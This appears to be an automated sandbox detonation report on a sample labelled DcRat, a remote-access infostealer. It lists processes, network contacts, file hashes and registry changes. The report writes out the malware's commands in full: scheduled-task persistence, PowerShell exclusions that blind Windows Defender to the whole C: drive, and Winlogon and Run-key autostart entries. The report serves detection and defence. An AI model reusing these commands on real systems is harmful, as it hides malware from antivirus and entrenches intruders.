PID 2148 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1244 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1244 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1244 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1000 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1000 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1000 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 680 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 680 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 680 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 388 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 388 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 388 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 2476 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 2476 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 2476 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 568 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 568 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 568 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe

"C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\qp9vGmuwSr0nkeo7qSVAnhO3kZyMkfu12RZ0OBiQNAI58E5ZggR.vbe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Roaming\Microsoft\ZkitL4SswB6Acn9KQ4n8phMXm8v73bXNMxhzpq69L79HkSe5Tb.bat" "

C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe

"C:\Users\Admin\AppData\Roaming\Microsoft/Local Security Authority Process.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\spoolsv.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\h1ugpcqy\h1ugpcqy.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9BE2.tmp" "c:\Windows\System32\CSC7CDD1307E47649F298158A29485B2620.TMP"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 8 /tr "'C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\Idle.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\cmd.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\cmd.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\cmd.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 14 /tr "'C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\spoolsv.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Defender\en-US\cmd.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\en-US\cmd.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Defender\en-US\cmd.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Local Security Authority ProcessL" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Local Security Authority Process" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Local Security Authority ProcessL" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe'" /rl HIGHEST /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Mozilla Maintenance Service\logs\spoolsv.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\Idle.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\cmd.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\spoolsv.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Defender\en-US\cmd.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe'

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\nb39RGiKTM.bat"

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\system32\w32tm.exe

w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2

C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\spoolsv.exe

"C:\Recovery\31f19e42-8726-11ef-be9a-dab21757c799\spoolsv.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ipinfo.io udp
US 34.117.59.81:443 ipinfo.io tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 753565cm.n9shteam.ru udp
US 172.67.206.119:80 753565cm.n9shteam.ru tcp
US 172.67.206.119:80 753565cm.n9shteam.ru tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\qp9vGmuwSr0nkeo7qSVAnhO3kZyMkfu12RZ0OBiQNAI58E5ZggR.vbe

MD5 dde897c67a0ad3384e01f44658e986d0
SHA1 51e5a863d22d2305da3d6e82ed2da727a6db5ffa
SHA256 f3ea38d1aea5a693f1b87b3d1152f8a1de82391b34e2061ee0fbb29f2ec6dc57
SHA512 901990365c1539d432871ef01d36261f537e0928e3afbd93f0833d04355a55464dbe2ca07c59d7d495bb93ad0bf73ed33db748e5856d75941c18f232503c1892

C:\Users\Admin\AppData\Roaming\Microsoft\ZkitL4SswB6Acn9KQ4n8phMXm8v73bXNMxhzpq69L79HkSe5Tb.bat

MD5 fb55729d3f331e20fb5c1e5377634743
SHA1 ad5d1b461d7608598e2683d66eeee3c2a38c625f
SHA256 8603cadb532a5ab019b7f07a2c9652905a459f88c8cfe74d387f0d9594f323c9
SHA512 2ed609b4ad5d0d9da2d12c12947091e0ce2937a12856d95979a7d2c4248b1d5244e5fc3616d0be8a1fd8febc888eeb0bb6fe08fe38a359ceb2345510645d1870

C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe

MD5 4ba31fe7c90af2148e83fe198cf99d7b
SHA1 bd86eece0e892752950a13282cb323e0775ecae4
SHA256 196706cf85ccf38343444deecaeaced58faf7c22963fe45aaa8ea9938fe19a0e
SHA512 79991360ad8d5c8968f2aa4836b3b7b39074c99ad28aa25cc69931c4bdf2115921042d818d4cc319984cfa0ed8a9ee015506f3b4b8c026aeda82c5b03a5328f7

memory/2148-13-0x0000000000C80000-0x0000000000E68000-memory.dmp

memory/2148-15-0x0000000000390000-0x000000000039E000-memory.dmp

memory/2148-17-0x00000000003C0000-0x00000000003DC000-memory.dmp

memory/2148-19-0x0000000000A10000-0x0000000000A28000-memory.dmp

memory/2148-21-0x00000000003A0000-0x00000000003AE000-memory.dmp

memory/2148-23-0x00000000003B0000-0x00000000003B8000-memory.dmp

memory/2148-25-0x0000000000560000-0x000000000056C000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\h1ugpcqy\h1ugpcqy.cmdline

MD5 21d850e2905f570bf95faaa3f77c09e3
SHA1 152bb352dda28517cf55c49c1e60f1c0785717b6
SHA256 4c05a9b69a1458903ed3498e51ed7d69f1a038c9a190deb6529d8a44a4fd7e7d
SHA512 d82533c154b6c54494abfac72236661f87638ed593483e140b50966c983b31c4ef95e116768a93e26d6e5e8a6daae0ab5d9387a41ffcb7839ccd1c2b1734995a

\??\c:\Users\Admin\AppData\Local\Temp\h1ugpcqy\h1ugpcqy.0.cs

MD5 04a63964b5fc49aee332c1e403c03dab
SHA1 a79ce356e7f9db0e467568cf87d41c4935186dfc
SHA256 b450e2a36bc63080a1f3bd84faf731d11fe85f6de9b52c2d9082863fbd294656
SHA512 97e0a204e1b13b3e96be4402a45cb02b2b114e738e346bfb3b0ea80385127f8e8f32dac5c77f968506d2560ee90bd84029f19ac1e7fb061692fb658dd11784fa

\??\c:\Windows\System32\CSC7CDD1307E47649F298158A29485B2620.TMP

MD5 60a1ebb8f840aad127346a607d80fc19
SHA1 c8b7e9ad601ac19ab90b3e36f811960e8badf354
SHA256 9d6a9d38b7a86cc88e551a0c1172a3fb387b1a5f928ac13993ec3387d39cc243
SHA512 44830cefb264bac520174b4b884312dd0393be33a193d4f0fee3cc3c14deb86ca39e43ef281232f9169fd204d19b22e8a7aad72fa448ca52d5cbc3ee1dbb18a4

C:\Users\Admin\AppData\Local\Temp\RES9BE2.tmp

MD5 94445c7fc978debc3ba5f5757c417070
SHA1 5703e538e8be4fc017346bafb152939bd50d6245
SHA256 f394ea6c678d28f6cf87f9e3b433496be40a14b4bc84b797cf154c9f9da8d322
SHA512 72e2cad8181bfc68e018a59c44bbce528f482bf72e98521a843a0a9db3eec897f9c1b35b2199d5532fab4e44d8b1ee89870be62501cc01e20cddf41237482fb2

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 48594c26c2717043d04c58c8913cbc00
SHA1 4ed03edc1037d5831ca35996227f223dcb1c737f
SHA256 adddc854568dac8d0227974dee2a2b290cfdb6bdefba1ffaf7b498b8fd7de374
SHA512 2aefda6a7b0c0da195b62cfe2ed690b37dd2a695c17ffab91aa5a2c0ce6bde56d72f9d28988f1d5560840c542e5a67778932a7a08328698440cb5d6ff6466788

memory/920-70-0x000000001B260000-0x000000001B542000-memory.dmp

memory/2020-91-0x0000000001CD0000-0x0000000001CD8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nb39RGiKTM.bat

MD5 b90d5b11cf6cc3ab12db0620e7202028
SHA1 80a0a6da1c455c0322f4aefb293273ed050685bf
SHA256 57fa3ed4bdf75c8a9710bdc97afb8988a51c2cdab29a14218b8fbfe069777fce
SHA512 77c2f01101dc0138fcb740d83cc901b209185ff01e495e6f60b71d30c71d0b370970a46af149339d73f369863bc858c45114ddbd91eaeaa2d57331f4d50d35f9

memory/2824-144-0x0000000000A40000-0x0000000000C28000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 03:37

Reported

2024-11-13 03:40

Platform

win10v2004-20241007-en

Max time kernel

147s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe"

Signatures

DcRat

rat infostealer dcrat

Dcrat family

dcrat

Modifies WinLogon for persistence

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\WindowsPowerShell\\sppsvc.exe\", \"C:\\Windows\\AppReadiness\\StartMenuExperienceHost.exe\", \"C:\\Program Files\\Microsoft Office\\root\\Client\\dllhost.exe\", \"C:\\Users\\Default\\wininit.exe\", \"C:\\Recovery\\WindowsRE\\sihost.exe\", \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Local Security Authority Process.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\WindowsPowerShell\\sppsvc.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\WindowsPowerShell\\sppsvc.exe\", \"C:\\Windows\\AppReadiness\\StartMenuExperienceHost.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\WindowsPowerShell\\sppsvc.exe\", \"C:\\Windows\\AppReadiness\\StartMenuExperienceHost.exe\", \"C:\\Program Files\\Microsoft Office\\root\\Client\\dllhost.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\WindowsPowerShell\\sppsvc.exe\", \"C:\\Windows\\AppReadiness\\StartMenuExperienceHost.exe\", \"C:\\Program Files\\Microsoft Office\\root\\Client\\dllhost.exe\", \"C:\\Users\\Default\\wininit.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\WindowsPowerShell\\sppsvc.exe\", \"C:\\Windows\\AppReadiness\\StartMenuExperienceHost.exe\", \"C:\\Program Files\\Microsoft Office\\root\\Client\\dllhost.exe\", \"C:\\Users\\Default\\wininit.exe\", \"C:\\Recovery\\WindowsRE\\sihost.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Windows\\AppReadiness\\StartMenuExperienceHost.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files\\Microsoft Office\\root\\Client\\dllhost.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files\\Microsoft Office\\root\\Client\\dllhost.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\Users\\Default\\wininit.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Recovery\\WindowsRE\\sihost.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Recovery\\WindowsRE\\sihost.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Local Security Authority Process = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Local Security Authority Process.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Program Files\\WindowsPowerShell\\sppsvc.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Windows\\AppReadiness\\StartMenuExperienceHost.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
